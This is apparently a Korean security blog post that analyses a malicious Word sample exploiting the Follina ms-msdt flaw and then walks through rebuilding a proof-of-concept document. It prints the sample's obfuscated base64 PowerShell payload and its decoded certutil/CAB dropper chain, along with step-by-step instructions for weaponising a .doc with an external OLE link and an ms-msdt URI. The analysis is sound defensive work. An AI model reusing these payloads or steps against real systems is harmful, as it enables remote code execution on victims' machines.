※본 문서는 연구 목적으로 작성한 게시글입니다.

  해당 문서를 참고하여 악용할 시 기술자는 책임을 지지 않습니다.

 

 

ANALYSIS

File name : 05-2022-0438.doc(sample)

File size : 10.01 KB

MD5 : 52945af1def85b171870b31fa4782e52

SHA-1 : 06727ffda60359236a8029e0b3e8a0fd11c23313

SHA-256 : 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784

 

 

 

 

처음 파일을 오픈했을 때, 빈 파일처럼 표시된다.(가상환경에서 실행.)

 

zip 파일로 변경하고 /word/_rels 폴더로 이동하였다.

  - 해당 파일은 doc 파일의 내부구성 파일 정도로 생각하면 된다.

자세한 정보 : https://fileinfo.com/extension/rels

 

 

#텍스트 파일로 변경한 document.xml.rels

 - 가독성을 위해 여러 줄로 변경하였다.

 - Relationship Id가 "rId996"인 수상한 구성이 보인다.

 

 

#현재는 접속이 되지 않는 모습

 

 

#실제로 작동하는 RDF842I.html 파일 중 스크립트 태그의 내용(정크 바이트 제외)

 - 출처 : https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html

 - 해당 파일이 동작하게 되면 word의 external link를 사용하여 html을 로드하고, 'ms-msdt'를 통해 발생한다.

ms- msdt : ms / diagnostic tool(진단 도구 모음)

 

 

#스크립트 태그의 악성 구문

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-

Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+

[char]58+'FromBase64String('+

[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3

R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAk

Y21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9y

ICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmd

BQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5le

GUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe

 IT_AutoTroubleshoot=ts_AUTO\"";

 

 해당 구문을 통해 powershell 명령을 ms-msdt 로 호출한다는 것을 알 수 있었다.

 

 

 #Invoke-Expression을 통해 실행된 데이터 중 Base64로 인코딩 된 데이터를 디코딩

$cmd = "c:\windows\system32\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";

 

1. hidden 창으로 다음을 작동

2. 실행 중이면 msdt.exe 종료

3. 인코딩된 CAB 파일에 대한 Base64 문자열을 찾는 RAR 파일 내부의 파일을 통해 for문 작동

  -> base64로 인코딩된 CAB 파일을 1.t로 저장

  -> base64로 인코딩된 CAB 파일을 디코딩하여 1.c로 저장

  -> 1.c CAB 파일을 현재 디텍토리로 확장

  -> rgb.exe 실행

 

이로 인해 rgb.exe가 무슨 기능을 하는지 알 수 없지만, 해당 파일이 실행되어

시스템에 영향을 끼칠 수 있다는 것을 확인할 수 있다.

 

 

 

EXPLOIT

#환경

 

#윈도우에서 word를 검색하여 파일 생성, 이름 zip으로 변경 후 압축해제

 

 

# /word/_rels 폴더 안에 document.xml.rels 파일을 수정

 - 확장자를 .txt로 변경하고 내용을 확인해보면 문서파일을 구성하는 설정들이 보인다.

 - Relationship Id="rId4" 파트를 아래 설정으로 변경 후 .rels 확장자로 다시 변경

<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://192.168.75.129:8000/poc.html" TargetMode="External"/>

 -> 클릭하면 "http://192.168.75.129:8000/poc.html 파일을 실행하는 object 생성

 

 

# /word 폴더 안에서 document.xml 파일을 실제 악성코드 샘플에서 쓰인 파일로 변경

 - 좌 : 새로 만든 문서의 document.xml

 - 우 : 05-2022-0438.doc 파일의 document.xml 

 

 -> document.xml.rels 파일에 "oleObject" 의 설정으로 변경해주었었는데,

     document.xml에 object 구성에 대해 기술되어있는 것을 확인할 수 있다.

     그러므로 "http://192.168.75.129:8000/poc.html" 파일을 의도적으로 실행하기 위해

     document.xml 파일을 object 구성정보가 있는 파일로 변경해주었다.

 

 

#처음 압축 해제 한 폴더로 돌아와서 재압축 후 .doc으로 확장자 변경.

 

#워드파일 실행 후 오브젝트 더블클릭

  - 문서를 열었을 때 빈 문서처럼 보이지만, 좌측 상단을 더블클릭하게 되면 오브젝트가 실행되어

    공격자의 서버와 통신하고, 공격자 서버의 html 파일을 실행하게 된다.

 

 

#공격자 서버쪽에서 poc.html 파일이 실행된 것이 보였다.

 

 

#poc.html

 - script 태그 안의 무수히 많은 'B'는 4096바이트를 채우기 위해 존재하는 것인데, 4096바이트는 HTML 처리 기능을 위한 

  하드코딩된 버퍼 크기이다. 4096 바이트 미만의 파일은 페이로드를 호출하지 않는다고 한다.

 

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";

 - 정크 데이터를 제외하고 스크립트 코드가 있는데, 이 코드는 호출되었을 때 ms-msdt를 이용해 피해자의 로컬에서 계산기를 호출하는 파워쉘코드를 포함하고 있다.

 

 

# 위 과정을 통해 오브젝트를 클릭하면 아래 사진처럼 피해자의 의지 없이 계산기가 실행되게 된다.

 

 

 

[참고문서]

https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug

https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/details

https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/

https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html

https://isc.sans.edu/forums/diary/New+Microsoft+Office+Attack+Vector+via+msmsdt+Protocol+Scheme/28694/#comments 

https://www.pwndefend.com/2022/05/30/office-microsoft-support-diagnostic-tool-msdt-vulnerability-follina/

 

 

+ Recent posts